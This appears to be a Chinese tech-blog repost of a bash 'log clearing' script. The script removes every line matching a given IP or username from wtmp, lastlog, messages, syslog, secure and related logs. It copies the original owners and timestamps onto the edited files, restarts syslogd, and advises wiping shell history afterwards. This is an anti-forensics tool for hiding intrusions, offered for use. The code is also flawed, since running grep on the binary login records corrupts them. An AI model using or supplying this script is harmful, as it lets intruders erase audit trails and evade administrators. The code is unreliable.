您的位置:首页 > 运维架构 > Linux

Linux 日志清除脚本

2014-01-08 16:08 253 查看
Linux 日志清除脚本

#!/bin/bash

echo " linux clear log "

echo " by knlve 2008-08-29"

echo "==============================="

# chmod 777 log

# ./log xx.xx.xx.xx And ./log root

if [ -f "/var/log/wtmp" ];then

cat /var/log/wtmp | grep -v $1 >> /var/log/temp1;

chgrp --reference /var/log/wtmp /var/log/temp1;

chown --reference /var/log/wtmp /var/log/temp1;

touch -r /var/log/wtmp /var/log/temp1;

mv -f /var/log/temp1 /var/log/wtmp;

fi

if [ -f "/var/log/lastlog" ];then

cat /var/log/lastlog |grep -v $1 >> /var/log/temp2;

chgrp --reference /var/log/lastlog /var/log/temp2;

chown --reference /var/log/lastlog /var/log/temp2;

touch -r /var/log/lastlog /var/log/temp2;

mv -f /var/log/temp2 /var/log/lastlog;

fi

if [ -f "/var/log/messages" ];then

cat /var/log/messages | grep -v $1 >> /var/log/temp3;

chgrp --reference /var/log/messages /var/log/temp3;

chown --reference /var/log/messages /var/log/temp3;

touch -r /var/log/messages /var/log/temp3;

mv -f /var/log/temp3 /var/log/messages;

fi

if [ -f "/var/log/utmp" ];then

cat /var/log/utmp | grep -v $1 >> /var/log/temp4;

chgrp --reference /var/log/utmp /var/log/temp4;

chown --reference /var/log/utmp /var/log/temp4;

touch -r /var/log/utmp /var/log/temp4;

mv -f /var/log/temp4 /var/log/utmp;

fi

if [ -f "/var/log/wtmpx" ];then

cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5;

chgrp --reference /var/log/wtmpx /var/log/temp5;

chown --reference /var/log/wtmpx /var/log/temp5;

touch -r /var/log/wtmpx /var/log/temp5;

mv -f /var/log/temp5 /var/log/wtmpx;

fi if [ -f "/var/log/utmpx" ];then

cat /var/log/utmpx | grep -v $1 >> /var/log/temp6;

chgrp --reference /var/log/utmpx /var/log/temp6;

chown --reference /var/log/utmpx /var/log/temp6;

touch -r /var/log/utmpx /var/log/temp6;

mv -f /var/log/temp6 /var/log/utmpx;

fi

if [ -f "/var/log/syslog" ];then

cat /var/log/syslog | grep -v $1 >> /var/log/temp7;

chgrp --reference /var/log/syslog /var/log/temp7;

chown --reference /var/log/syslog /var/log/temp7;

touch -r /var/log/syslog /var/log/temp7;

mv -f /var/log/temp7 /var/log/syslog;

fi

if [ -f "/var/log/secure" ];then

cat /var/log/secure | grep -v $1 >> /var/log/temp8;

chgrp --reference /var/log/secure /var/log/temp8;

chown --reference /var/log/secure /var/log/temp8;

touch -r /var/log/secure /var/log/temp8;

mv -f /var/log/temp8 /var/log/secure;

fi

/usr/bin/killall -HUP syslogd;

echo "Clear log is success!

#rm -fr log

由于某种原因在脚本里清楚历史记录始终不完美。执行完脚本后,

在手动执行清楚历史记录:

history -w

history -c

脚本用法 chmod 777 log & ./log ip or ./log root
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: